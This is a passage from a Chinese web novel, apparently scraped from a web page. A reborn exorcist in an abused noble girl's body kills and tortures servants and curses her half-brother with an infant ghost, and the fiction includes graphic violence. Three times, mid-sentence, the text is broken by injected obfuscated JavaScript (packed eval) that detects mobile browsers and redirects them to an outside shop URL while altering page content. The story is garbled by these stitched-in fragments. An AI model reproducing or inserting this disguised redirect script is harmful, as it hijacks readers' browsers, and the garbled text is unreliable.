《全文完结后,反派天师她重生了!》 1. 裴府疑云1 “砰!” “放开我放开我!你们要对小姐做什么!” “放肆!我们小姐是三爷的嫡亲女儿,你们怎么敢!放开我,放开我!” 瓷器的碎裂声混合着丫鬟的哭喊叫骂声一股脑塞进沈自清的耳朵里,她难受地皱紧眉头,强撑着睁开眼,就看到一个灰衣老嬷正一手掐着自己的嘴,一手拿着药碗正要强行灌进去。 也是没想到临到头时她会醒,老嬷脸上一怔,紧接着眼神一狠,“九小姐莫怪老奴,要怪就怪自己的命不好,托生到她的肚子里!” 九小姐? 谁?她吗? 没等她想明白,那只蒲扇大的手狠狠捏住她的下颌骨,力道大道恨不得直接捏碎! 沈自清结结实实的一愣,倒不是因为别的,纯属是她活了这么多年,还从来都没人敢胆子大到直接捏着她的脖子给她灌药的。 虎落平阳被犬欺也不是这么个道理啊。 这么想着,她的眉头也是微微皱起,这幅表情落在老嬷眼里就是不情愿的模样,心中忍不住讪笑。 情不情愿也是能由她选的?阎王要你三更死,谁敢留你到五更? 老嬷横眉倒竖,强行捏开她的嘴,滚烫腥臭的汤药眼看就要强行灌入口里,下一秒,只见刚刚还被人强压着毫无反手之力的少女猛地抬手一掀,药碗摔碎在地。滚烫的药汁泼溅到老嬷的脸上身上,烫得她当即推开手里的人,下意识想要扑棱掉身上的热药。 这一切发生的太快,所有人都没反应过来。 “……小姐。”被强压跪在地上的少女也被这突来的一切镇住,清秀的脸上满是呆滞。 但这还没有结束,只见刚刚还病恹恹仿佛下一秒就要去了的人,一把捞起地上的碎片,捏住老嬷的肩膀用力一转,脚往膝盖上狠狠一踢,砰的一声,老嬷重重跪在了地上! 一直看着婢女的嬷嬷见状不好,刚想叫人,沈自清脚尖一踢,一片锋利的刀片利箭般狠狠嵌进她的喉咙里,滚烫的鲜血瞬间喷涌而出! “额——”她还想说话,断裂的喉管却已经绝了她说话的可能,她双目圆瞪,缓缓倒在了地上。 灰衣嬷嬷只觉面上一片滚烫,她愣愣地摸了一把,鲜红刺痛了她的眼睛,她再也忍不住,想要放声大叫,尖叫声还没冲出喉咙,喉咙上冰凉的触感先一步堵住了她的喉咙。 “闭嘴。” 少女身形瘦弱,黑发乌云般披在身后,皮肤苍白,鬼魅般站在她的身后,指尖的碎片稳稳的卡在她的皮肤上,冰得她经不住想要战栗。 漆黑如古井般幽深的眼眸正注视着她,声音平静又冷漠。 “再多说一个字,她就是你的下场。” 嬷嬷嘴唇颤抖,刚想说什么,下一秒,眼前一黑晕死了过去。 趁着婢女绑人的功夫,沈自清微微喘着气,缓了口气才坐下来,看着羸弱清瘦的腕骨,简直哭笑不得。 先天不足,后天乏力,看样子就算没有这群婆子,也难以活过双十之数。 所以她一个作古多年的人究竟为什么会出现在这么一具身体里? 是夺舍? 不对。沈自清很快否决了这个答案。 人死后魂魄不入地府的话确实会在日复一日的徘徊中渐渐迷失,因为求生的本能会寻找替身或者强行夺舍,但这种情况应该不会发生在她身上,不是看不起那群人,实在是以他们恨自己的程度,她上一秒刚咽气下一秒就得灭魂钉镇灵咒……凡是能让她神魂俱散的东西都会一股脑用在她身上,她根本等不到迷失就会直接魂飞魄散。 平日里天天叫嚣着穷、没钱的家伙在这件事上是绝对舍得花钱的。真金白银投进去,眼都不眨一下。 “小姐,人绑好了。”婢女的声音唤回了她跑偏的思绪,她抬眼,仔仔细细观察起了这个一睁眼就被强压在地上却还在反抗的“忠仆”。 婢女年岁不大,长相清秀可人,尤其是那双圆溜溜的大眼睛讨喜的很,只可惜如今左脸高高红肿,破坏了这份百合般的清丽。 此刻正恭敬地低着头,看都不看看自己这个主子,显然是对刚刚的事还心存害怕。 “叫我的名字。”沈自清突然道。 名字是最短的咒,也是肉身的钥匙。 她需要知道这具身体的名字。 “啊?”婢女没反应过来。 沈自清又耐心重复了一遍:“我说,叫我的名字。” 婢女低下头,不敢说话。 也是,哪有奴才喊主子大名的道理,如若换在别人家,发卖出去都算好的。 沈自清直直盯着她:“不要让我说第三遍,否则……” 这话显然吓到了对方,婢女忙不列喊道:“裴年!” 她声音又弱了下去,喃喃道:“裴年。裴家九小姐,裴年。” 从她第一次说出这个名字的时候,一段陌生的记忆争先恐后钻进沈自清的识海里,属于这具身体的记忆第一次完美清晰勾勒出来。 好消息,她确实重生了。 坏消息,是借尸还魂。 更坏的消息,借尸还魂的这具身体是她十多年前亲手抄办的世家大族之一 ——河东裴氏家的九小姐,裴年。 与沈自清不同,裴年是个实打实的小可怜。 出生的时候家族早已落败,昔日恩爱如初的父母总会因为鸡毛蒜皮的小事争吵不休,裴年就是在这样的环境下长大的。 4岁那年,裴家举家翻案,长辈们成了朝廷新贵,昔日田间追鹅的裴家老九成了大周朝顶级世家琅琊裴氏的齐小姐,裴年。 也是从此刻起,她的痛苦开始了。 原来父母虽然多有争吵但也算是恩爱,父亲也会心疼母亲劳累特意去镇上给母亲买喜欢吃的糖水,回京后父亲好似变了个人一般,不仅再没见过母亲,甚至身边有了别的漂亮姐姐。母亲哭过闹过,换来的是父亲的冷言相对。 直到小妾怀了身孕成了姨娘,母亲端坐在那张漂亮的红木椅上,像是寺庙内没有感情的菩萨,接过那杯妾室茶,喝了下去。 小小的裴年躲在厚厚的帘子后,偷窥着这一切。 母亲是想要好好活下去送裴年出嫁的,可惜天不遂人愿,那年冬天她生了好大的一场病,来年春天,好好的人只剩下副骨头架子。 这是裴年对母亲最后的印象。 再后来就是新妇进门,第二年便生了对漂亮的龙凤胎,自此之后裴府三爷膝下有儿有女,无论嫡庶,裴年这个没有强大外租的短命鬼自然就成了人人可以欺负地对象,下人短她吃喝,同父异母的弟妹拿她当狗。 裴年也不服输过,无论是父亲还是祖母那里她去告过状,可是第二天惩罚依旧,甚至更加严重,这一次就是因为被姨娘生的弟弟推进了荷花池,等救上来的时候只剩下半口气,如果没有沈自清,这最后的半口气都没了。 借尸还魂与夺舍不同,夺舍是吞噬身体的原主人强行将这具身体占为己有,此举有伤天和,所以被视为邪修之法。借尸还魂是逝去者强大的执念会吸引附近的游魂前来,帮助她了却执念,作为回报,她会将身体献予游魂。 沈自清虽然不喜欢一锤子买卖,但如今她已占了人姑娘的身体,再说这些也未免有些沽名钓誉、自视清高。 所以裴年,你究竟想要什么? 是想要单纯惩治那些手脚不干净的下人?又或者是想要以彼之道还之彼身杀了那些欺辱她的弟妹? 又或者是……灭门? 沈自清倒是无所谓,抄家灭族这种事她又不是没做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591609|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。 只不过…… 她长长叹了口气。 京城这地界,她是真不想多呆。 她将视线转移被露种捆成猪一样的嬷嬷,此刻正仰面躺在地上,双眼紧闭,俨然衣服还在昏迷中的模样。 沈自清拿起一旁还烫手的茶盏,眼都不眨地往下一泼,下一秒,杀猪般的叫声从地上传来。 “露种。” 下一秒,一记响亮的耳光扇在脸上,尖叫声戛然而止。 在老嬷难掩恐惧的眼神下,她施施然端起桌上另一盏茶碗,几乎透明的指尖缓缓拨弄着白玉色的茶盖,浅褐色的茶水混合着浓墨色的茶沫倾斜在下面的玉碟上。 “说说吧,究竟是裴府里的哪位贵人,才能让从小照看我长大的周嬷嬷心甘情愿当了马前卒,转头杀我这个旧主呢?” 周嬷嬷仰着头愣愣地看着这个自己从小侍奉到大的小主子,两行浊泪忽地落下,橘皮般的脸上满是痛苦愧疚,她伏着背,泣不成声道:“九小姐,这一切都是老奴的错,是老奴辜负了夫人的信任,来日到了地府自会去找夫人磕头赔罪,来时当牛做马孝敬你们。” “所以请小姐不要继续往下问了,老奴是不会说的。” 她重重磕了个头。 咔哒。 手一松,杯盖磕在杯口,发出清脆的瓷器声。 倒是忠诚。 少女眉眼平静地像是一尊白玉佛像,“既然嬷嬷不愿说,那边算了。” 不等她激动,接下来的话就瞬间如坠冰窟。 “想必平山村那个小孩总是愿意说的,就是不知道那孩子的嘴与嬷嬷的比起来,究竟哪个更硬一点。” “你怎么知道?谁告诉你的!”周嬷嬷脱口而出道。 她血色一瞬间消失的干干净净,看着倒是比沈自清这个病人要更货真价实,哪还有半分刚刚的从容之色? 她喃喃道:“不可能啊,没有知道这件事,夫人当年都不知道……” 为了彻底永绝后患,这些年她一次都没去过平山村,给小孙子的东西都是经过多人转手最后靠着育儿堂的手笔送过去的。 那位都没查到这件事情,裴年这丫头片子又是怎么知道的?! 裴年确实不知道。 不仅是裴年,除了她之外的所有人都不知道这件事情。沈自清能知道,是因为她曾经是天师。而且是曾以一己之力镇压妖魔二界的镇妖司指挥使,光是瞧上一眼就知道对方亲缘几何。 果不其然,刚刚还从容赴死的妇人此刻如同一只被偷走孩子的母狼,满是怨毒地盯着自己,沈自清猜如果不是那几根绳子,面前的这个女人恐怕会直接扑上来狠狠咬断她的喉骨! 刀只有割在在自己身上才会疼,说得再好听有什么用,黄白之物就可以让昔日慈爱如亲生祖母的人转头就对着自小看着长大的小孩抄起屠刀。 过去的七年里裴年想过任何人会杀她,但唯独没想过自小照顾她长大的周嬷嬷和被她亲自选中的孤女露种。 可惜…… “谁说的不重要。”沈自清垂眸吹着热茶,答非所问:“对不对才重要。” 她浅饮一口。 “好了。让我猜猜究竟是哪位贵人差使你前来,是仲春院?还是栖霞阁?又或者是……” 喊出来的名字好似阎王点卯,周嬷嬷眼底的恐惧逐渐被不可思议替代,沈自清见火候差不多,在对方不可置信的眼神下,缓缓吐出最后一个地方。 “还是老太君所在的,寿安堂。” 旁边的露种瞳孔一缩,甚至怀疑是自己的耳朵坏了。 是啊,怎么会是寿安堂呢? 要知道,寿安堂,可是老夫人的院子啊。 要杀小姐的人,居然是小姐的亲祖母?! 2. 裴府疑云2 周嬷嬷也愣住了。 与露种不同,她惊讶的是这么匪夷所思的事情她是怎么猜到的? 是啊,沈自清怎么会知道? 因为裴年知道。 她在很小很小的时候就明白了一个道理,祖母恨她和她的母亲。 前朝四百年,世家便如日中天了四百年,后来乱世四百年经历了无数朝代,无数短折而死的帝王层出不穷,连带着夭折的朝代也数不胜数,唯世家屹立不倒,百年如一日。 后来大周的开国皇帝周武帝结束了乱世,建立了大周,可是世家依旧一手遮天,更甚者周武帝,或者大周皇室本身就是世家的一份子。 而世家绵延千年的手段之一就是联姻,裴年的祖母是陈郡谢氏的贵女,嫁给了当时出身河东裴氏,官拜工部侍郎的祖父,两人也算是夫妻和睦,成婚不过三年,便生下了裴敬,也就是裴年的大伯,后十年又陆续剩下一个儿子和两个女儿。 就在夫妻俩准备颐养天年的时候,当时已经三十过五的谢氏又有了身孕,所有人都嘲笑这是老蚌生珠,确实如此,生这个孩子的时候谢氏险些血崩而亡,丢了半条命才有了这个孩子。 这个孩子,就是裴年的父亲,裴家三爷裴越。 裴越出生的时候大哥已经结婚生子,二哥和两位姐姐长大的长大、议亲的议亲,裴越的到来与其说是弟弟,不如说是半个儿子。 全家人唯一的希望就是能健康平安,裴越确实健康,甚至健康过了头,年纪轻轻就留宿勾栏瓦舍,与裴家严谨的家风不同,裴越是完美贯彻了万花丛中过,片叶不沾身的原则。对于这个纨绔儿子,裴老太爷是打也打过骂也骂过,次次雷声大雨点小不说,又有谢老夫人护着,看着那个躲在妻子后面嬉皮笑脸的儿子,裴老太爷很是愁人。 就在全家,包括严肃的裴老太爷都要接受小儿子是个彻头彻尾的纨绔子弟时,裴越带着一个女人回了家。 女人是个清倌,其实说是清倌也不算,顶多算是楼里端茶倒水的侍女,两人之所以相遇也是老套的英雄救美,就这一救,裴越便丢了心。 他要娶这个女人为妻,一生一世与她在一起。谢老夫人第一个不同意,或者说全家上至父母兄长,下至侄子侄女没一个同意,所有人都觉得裴越在胡闹,可这一次他是吃了秤砣铁了心,祠堂跪了家法挨了,还疼也不改死也不改。 最后以裴越被打断两根肋骨结束。 或许从这时候起,谢氏就不喜欢这个儿媳。 后来两人成了婚,很是如胶似漆,但成婚三年两人也没有一儿半女,后来裴家倒台,全族流放寒州。 裴年就是在那里出生的。是在家族最落魄最痛苦,所有人面目全非的时候出生的。 在谢氏的眼里,裴年的母亲意味着低劣的下九流,意味着疼爱多年的儿子一朝对她的背叛,对家族的背叛。 裴年不仅是那个女人的女儿,也是家族最为不堪回首的铁证。似乎只要看到她,就能想起北境十年如一日的寒风,石板床上死不瞑目的丈夫,恍惚间手上背上早已好全的冻疮也跟着痛痒起来。 这叫她怎能不恨? 沈自清忽然很想笑,她也确实这么做了,带着嘲讽的笑声响彻在昏暗的厢房内,响在周嬷嬷和露种的耳朵里。 看着自小长在一处的小姐如此,露种心里也不是滋味。 她不是家生子,是小姐从人牙子手里带回来的,那时候裴家人刚从北境回京没多久,裴年又天生闲不下来,经常从后院墙角下的狗洞钻出去玩,那次正好看到被人牙子拖着走的露种,一时心软买下了对方。 在她心里,小姐不止是主子和救命恩人,更是妹妹一样的存在。 沈自清抹掉眼角笑出来的泪花,讽刺道:“下令抄家的皇帝不敢恨,负责抄家的指挥使不敢恨,做出那种腌臜事的丈夫不敢恨,只敢恨一个手无缚鸡之力的弱女子和一个路都走不稳的奶娃娃。” “小姐!”露种打断道:“这种大逆不道的话不能说出口的!被人听到是会杀头的。” “放心。”沈自清道:“不会有第三个人知道的。” 虽是对着露种说的,但眼睛就没离开过地上的周嬷嬷。 周嬷嬷显然也听懂了这句话,用力朝着沈自清爬去,几乎贴着她的鞋面乞求着:“求你,求求你了小姐,别杀我……” 她像是忽然想起什么,哽咽道:“我还有个小孙子等着我照顾呢,求求小姐饶我一命,求小姐念着我照顾你这么多年的份上,求小姐了……” “你这婆子刚刚还宁死不屈,这时候装什么心疼小孙子?分明就是怕死!”露种看不过去厉声骂道。 “对啊。”沈自清低头看着这个匍匐在地上、抛弃所有廉耻之心的婆子好奇问道:“周嬷嬷刚刚不是还将生死置之度外吗?怎么这会又要为了小孙子苟且偷生了?” 周嬷嬷张了张嘴,下意识扯出一个讨好的笑容,当下人当久了,这是他们下意识的规避反应。 不等对方说话,沈自清又道:“我可以放了嬷嬷,前提是嬷嬷得告诉我一件事。” 这一次,嬷嬷的笑容真挚很多,但下一秒就僵在了脸上。 “我娘当初究竟是怎么死的?” 旁边的露种一怔,夫人当初不是……病死的吗? 她似乎是摸到某个不可以被触碰的禁物,眼睫止不住的颤抖。 难不成和今日一样。 也是被人害死的吗? 周嬷嬷嘴唇微颤,抬手想擦擦额头的冷汗,一动却发现手脚早已被捆了个结结实实,尴尬一笑,“九小姐,这事儿奴才是真不知道。” “不知道?”沈自清挑眉:“周嬷嬷这话,不尽实啊。” 她拿起桌上露种刚刚叠在一处的瓷碗碎片,眼都不眨狠狠扎进嬷嬷的眼睛里! “啊啊啊啊啊啊啊啊啊——” 黏腻猩红的血液瞬间从眼眶内流出,嬷嬷弓着背,几乎疼到失音,但纵使如此,她依旧重复刚刚的话。 “小姐,我真的、真的不知道。” 沈自清叹了口气,很是无奈。 对方不肯说,就只能她自己来看了。 “露种,你先出去。” 少女拿着帕子一点点擦干指缝中溅到的血液,眉眼微微耸拉着,苍白到几乎透明的脸蛋上带着两分死气。 露种悄悄关上了门,房间再次陷入一片昏暗。 沈自清又仔细检查了一遍,确认擦干净后,扔掉帕子,站起身,在嬷嬷逐渐缩小的瞳孔里,浓厚到可怕的灵力在她身上瞬间爆开,化为无数道白光,宛如最细的丝线汇聚在他的指尖,不容置疑点向她的眉心。 嬷嬷试图后退,“你、你不是九小姐,你到底是谁!” 少女没有回答她,她微微俯身,本就漆黑如墨的眼睛此刻更是浓到可怕,似乎是最深最深的古井,任何光亮都找不进去。 像是,像是从地狱里爬回来的恶鬼! 嬷嬷奋力挣扎,求饶咒骂的话一股脑的跑出来,见对方不为所动又哭喊着求对方放过自己,她不敢了!她真的不敢了! 指尖碰到了眉心。 “放松。” 她轻笑。 “我会轻一点的。” 露种蜷着手帕在门外走来走去,视线在院口和房门两处来回切换。作为被小姐夫人赎回来的下人,露种与府里那群家生子不同,在她心里夫人相当于第二个母亲,小姐则是自己的亲妹妹。 甚至比起夫人,她更希望小姐平平安安一辈子。 可如今这幢事情被捅出来,小姐…… 不等她想出个所以然,一道气势汹汹的脚步声打断了她的思绪:“裴九呢?让她给小爷滚出来!” 一个十五六岁的少年从拐角出来,虽是男子但生的却是明眸皓齿,红色镶玉抹额系在额头上,衬得眉眼更是精致,金冠高束,穿着身正红色圆领织金胡服,一侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591610|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣襟散开折在另一边,腰上拴着一块水头极好的玉带钩。 玉盘的小圆脸上带着不符合年龄的狠辣狰狞,他狠狠甩了下手中的鞭子,荡起一阵灰尘。 “裴九!你是吃了熊心豹子胆敢去祖母那里告我的状!小爷我今日非要打死你不可!” 露种大惊失色,赶忙拦在他面前:“十三少爷,小姐还在里头睡着呢,多少有些不太方便。” “滚开!” 裴钰一把甩开她,力道极大,露种直接摔在地上痛呼出声,又怕耽误沈自清问话,连忙又将声音咽了回去。裴钰见状冷笑道:“一个奴才,也敢拦我的路?来人,将这贱奴拉出去打二十板子!” 身后跟着的小厮立马上前拉住露种两条手臂,想要强行将她拖出去,露种想要挣扎,但她一个小侍女的力气那里比得过两个身高体圆的小厮?根本不需要废什么力气就将她钳制住,像拖牲口一样将她往院子外面拖。 “放开我!放开我!我是九小姐的人,不是裴府的家生奴,你们没有权利动我!” 裴钰好似听到什么好笑的笑话,嗤笑道:“别说什么九小姐,你就是当今公主的奴才,只要在我裴府,我裴钰让你死,你就得死!” 他不屑一笑,红唇微微扬起。 “也不需要杖责二十了,直接打死了事。” “我竟不知十三弟如今手伸得竟这般长,都敢管到我的院子里来了?你的老师没教过你,什么叫尊卑有别,什么叫长幼有序吗?” 紧闭的房门吱呀一声,被人从里面轻轻推开。身形瘦弱的少女缓缓从里面走出来,暖煦的阳光照在她身上却如石沉大海,不见丝毫暖意。 白衣黑发,皮肤苍白,古井般寂静的眸子正幽幽地盯着他,被这么盯着,一股不知从何处来的不详瞬间充斥他的心尖。 少女微微歪头,漂亮的唇瓣轻勾,忽然想起来什么一样,带着些许歉意说道:“我忘记了,十三弟是从梅姨娘肚子里爬出来的,自然不懂得礼义廉耻,又怎么会知道长幼有序呢?” “贱人你闭嘴!” 怒火瞬间冲刷掉了奇怪的不详感,裴钰挥舞着鞭子用力甩向对方,尖锐的破空声下是裴钰怨毒的眼神,和直直甩向沈自清的脸蛋的倒勾长鞭! 他平生最恨的就是别人说他是庶出!他要裴九死!!! 预料的尖叫声没有出现,沈自清迅速侧身躲开,鞭子贴着鞋尖狠狠甩在地上,不等裴钰抽回去,沈自清用力踩在鞭尾上,右手狠狠一拽,砰的一声,裴钰直接被拽的跪在地上,膝盖发出尖锐的疼痛。 “啪!” 清脆的耳光声响亮在院子里。 裴钰目眦欲裂,“你敢打我!裴年我要你死!” “啪!” “啪啪啪啪啪啪啪啪啪啪啪——” 不知道抽了多少个耳光,沈自清才停下来,此时裴钰已经没了刚来时的神气,发丝凌乱,脸颊红肿,甚至表皮有些许擦伤,露出皮下粉红的嫩肉。 沈自清居高临下道:“带着你的人赶紧滚,再有下次,就不只是巴掌这么简单了。” 骗你的,其实这次就要了你的命。 不知何时,一直系在裴钰脖子上的红绳断裂,一块样式光泽都十分普通的观音玉佩掉在石砖上,碎成两半。 裴钰忽然觉得肩膀一沉,脖子和后背痒痒的,让他止不住想去挠。 在所有人看不到的世界里,一团诡异的黑气逐渐在他身上成形,竟是一只和成年人手臂差不多大的婴儿。它抓着爹爹的衣服,从他肩上探出头来,露出一张诡异狰狞的脸庞,嘴角扯得高高的,几乎到了耳后,长长尖尖的指甲止不住抓挠着男人的脖子衣裳。 嘻嘻~ 喜欢爹爹~ 好喜欢爹爹啊~ 沈自清垂眸,与那只婴灵对视,又自然地移开视线,往旁边一迈,踩住那只断裂的玉佩。 咔嚓。 玉佩化为齑粉。 3. 裴府疑云3 裴钰要脸,在院门口蹲到天黑才回的长芦斋。 从南院到长芦斋要穿过荷花池,也不知怎的,平日里听着那金鱼划水的动静蛮惬意的,今夜听着就有种说不上来的恐惧。 走在最后面的小厮搓了搓胳膊,趁着前面人没注意怼了怼身旁的同伴,小声道:“你有没有觉得今晚格外的安静?” 他东看西看一圈,把声音压得特别低,像怕惊扰到某些东西一样:“而且,特别的冷。” 同伴没好气白了他一眼:“你是不是有毛病?大晚上说这些吓人的话,让公子听到非得打你二十板子。” 这句话显然吓着了小厮,他缩了缩脖子,不说话了。 手里的灯笼一晃一晃的,今晚的风有点大,即使有层灯罩,里面的烛火还是明明灭灭,深夜里像是野兽的眼睛,一眨一眨地盯着前面的人。 裴钰沉着脸走在最中间,也不知道那小贱人究竟用了什么东西,从她那出来以后肩膀就死沉死沉的,像是有什么东西一直压着他,连带着身上都跟着冷冰冰的。 他脾气本就不好,先是遭受了奇耻大辱,现在身体又开始不舒服,气的他一路都找都在不停地找发泄桶,比如现在。 裴钰抬脚踹在一直走在前面掌灯的小厮身后,嘴里骂道:“没眼力见的东西还不走快点!瞧不见小爷我身子不舒坦吗?!” 似是还不解气,他上前两步,又是一脚踹了上去,这次踹的是心窝,小厮被这一脚踹得当即是三魂没了七魄,只得蜷缩在地上对着人求饶,但裴钰哪管的上这些?对方越求饶他心里的邪火烧得越旺,发狠般地踹着对方,一脚又一脚。 不知过了多久,小厮的求救声逐渐渐弱,到了最后甚至没了声息,夜色下只剩下裴钰的咒骂声和殴打声。 漂亮的金鱼在假山旁的池子里遨游,鱼尾波动间,水流的潺潺声融入夜色。 “噗通!” “什么声音?”裴钰停下动作,皱着眉望去声音来源处,几乎是同时,墙壁上挂着的四角灯笼砰的炸开! “啊!” 有人忍不住尖叫。 “砰砰砰砰砰——” 下一秒,一连串的灯笼仿佛过年时的鞭炮一样,噼里啪啦连着炸开,不知道是不是众人眼花,灯笼炸开的最后一秒,他们好像看见有什么东西静悄悄地站在莲花池旁,一动不动地,好像在……看着他们? 不等他们想明白,不知从何处刮来的妖风袭来,众人手里的灯笼顺势熄灭,只有滚烫的灯罩昭示着它们曾经存在过。 黑暗潮水般剥夺了他们的视觉。 “什、什么情况?”良久,才有人颤颤巍巍地开口。 人群中只剩下此起彼伏的咽口水声,“不知道啊。” “少爷,要、要过去……看看吗?” 没有人回答。 “……少爷?” “少爷!” 人群瞬间骚乱,比起神乎其微的鬼怪,还是主子没了更让人恐惧,就在这时,裴钰细微的声音从黑暗中传来。 “……你们,有没有听到什么声音?” 他的声音压的很低,生怕惊扰到什么东西一样。 “声音?”一听这话,众人丈二和尚摸不着头脑,“没听到什么声音啊……” 黑暗中,裴钰惨白着脸,浑身僵直在原地,动都不敢动,豆大的汗珠从额头哗啦啦往下掉,呼吸逐渐急促。 好像……有什么东西在他的背上…… 爬。 嘻嘻。 嘻嘻嘻。 嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻—— 婴儿尖锐的笑声毒蛇吐信喷洒在他的耳畔,他想说话,上下嘴唇却像粘在了一起,徒劳无功的声音闷堵在喉咙里,憋到近乎绝望。 近了。 更近了。 肩膀处的抓挠感愈发强烈,阴冷到骨子里的触感瞬间攀附在他的整个上半身,有什么东西站在了他的面前。 裴钰哆哆嗦嗦抬眼。 一双漆黑到占据整个眼眶的眼睛直直地盯着他。 见他看过来,它似是兴奋一般,弯起眼睛,不详的黑气从眼眶中溢出,带着浓重的血腥气。 脖子冰凉黏腻,像是被什么东西仅仅套住,他大着胆子往下看,只见一截长长红红的“带子”一圈圈捆在他的脖子上,上面突起的青筋脉络跳动着,跟着他的呼吸一起一伏。 竟是一根被剪断的脐带! “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊——” “嘶!” 药酒抹在皮肤上时,露种忍不住痛呼一声,又忙咽回去。昏暗的烛火下她的耳廓忍不住发烫,她想缩回小臂,一只手捏住她的手腕。 “别动。” 露种怯怯抬眼,少女披散着头发,因为低着头,一部分发丝顺着肩头垂落在胸前,烛火映照下泛着绸缎般的光泽。 不知是不是露种的错觉,总觉得小姐气色好了很多,不似下午刚醒来时的苍白,而是健康的瓷白。 想起今日发生的事,露种有些担忧:“小姐,今日你如此羞辱十三少爷,明日怕是……”怕是忍不住又要被毒打了。 沈自清打断道:“他没有明天了。” 露种:“啊?” “没、没有明天了是什么意思?”她结结巴巴道,有些迟疑地抬起另一只完好的手,朝着自己脖颈一划:“难道也像周嬷嬷一样……”死了? 沈自清被对方这怯生生的表情逗笑,“你这妮子年纪不大,怎么一张口就是些死啊活啊的?” 露种更疑惑了,虽然没说,但是脸上就差写上“那是什么意思”几个大字。 揉开最后一块淤青,沈自清盖好药瓶放回原处,随手拿起一旁早已搁置好的手帕仔仔细细擦拭起来,简言意赅道:“他还没到死的程度,只不过会大病几天,自然没时间顾及我们。” 露种眨了眨眼,感觉更加听不明白。 什么叫没到死的程度? 而且小姐是怎么知道裴钰会大病几天的?她要是没记错,裴钰今天也只是受了些皮外伤,哪里就要到卧床静养的程度? 秉持着自家小姐全对的想法,露种默默将所有的疑惑全都咽回肚子里。 算了,听小姐的准没错。 是的,经历过今天下午一系列的事情,沈自清的形象已经从最开始需要保护的妹妹,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591611|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成现在可以无脑追随的大人形象了。 露种这番心理建设自然逃不过沈自清的眼皮子,她挑了挑眉,不置可否。 裴钰确实不会死,但也只是现在不会死。 婴灵出世前需要七天的时间汲取直系亲人的精气以作供养,在这期间没有消除他的怨气,那么七天后婴灵出世的同时,作为供养者,裴钰会被活活吸干。 从精血到魂魄,都会被婴灵榨干化为己用。 到那时,便是神仙在世也没用了。 说实话,她原本没想过用这么个折磨人的法子。 她确实睚眦必报,但从没用过鬼魂害人。人有人道,鬼有鬼道,恶鬼之所以徘徊人间是因为执念未消,即使是天师也没有权利利用鬼怪去害人。 裴钰能有今日,都是他自己造的孽。 她看到裴钰第一眼就知道他身上有东西在护着他,果不其然玉牌一掉,那只成了形的婴灵就迫不及待攀在他的身上。 像这种已经寻找父亲的案例,莫说是她,怕是古今中外所有天师加一块见过的都不算多。 婴灵的诞生并不容易。在轮回道中婴儿算是万物生灵中最为干净的存在,只有罪孽全部洗清或者身怀功德的灵魂才可以投入六道中的人道,因此婴儿恶化成婴灵从根本上就不是一件容易的事情,只有连续多次胎死腹中且死相凄惨才会成为婴灵,但也只会去找母体复仇,母体死亡后大部分执念怨恨都会消散,然后继续去投胎。 至于找上裴钰的这只,从因果线上来看已经杀死了母体,但执念未消,所以才找上了父亲。 露种已经回去了,卧房内只剩下她一人。 沈自清拿起烛台旁的剪子,慢悠悠地剪断一截烛心,火苗微微晃动,连带着她的脸也在阴影下明明灭灭。 所以不是她要杀裴钰,是天要杀,因果要杀,执念要杀。 就在这时,小院外突然响起杂七杂八的脚步声,隔着老远就能看到东南角一盏盏烛火快速在夜色下亮起,锁花阁离下人们住的地方近,夜色下掩饰不住的不满声一丝不落的传进沈自清的耳朵里。 房门外也响起露种的敲门声。 隔着木门只能看清对方模糊的轮廓,但这不影响对方焦急中带着不可思议的声音。 “小姐,长芦斋那边传来消息,十三少爷昏迷不醒了!” 露种的声音微微颤抖,不是害怕,是快抑制不住的紧张和兴奋。她压着嗓子,生怕被外人听到一般:“听说是在小花园内碰上了脏东西,撞邪了!” 沈自清早已料到这个结果,并不意外。 比起这些,她更好奇露种没说完的话是什么。 门外的露种显然也对接下来要说的话有些迟疑,“小姐,寿安堂那边刚派人过来说,让你过去一趟……” 不知从哪吹来的一阵风,一把吹干老旧轻巧的木门。 光线昏暗的卧室内,少女一袭单薄的素衣,站在窗边手里拿着模样老旧的剪刀,正在剪烛台上那根早已燃烧过半的蜡烛的烛心。 咔嚓一声,烛心被猛地剪断,烛火顿时熄灭,留下一股袅袅青烟。 她偏过头,似笑非笑。 “哦?” 4. 裴府疑云4 长廊四通八达,沈自清优哉游哉地走在最后面,甚至还有闲心逗弄下长廊下挂着的鸟儿。 皇上不急太监急,她倒是轻松自在的很,旁边的露种手帕都要攥破了。 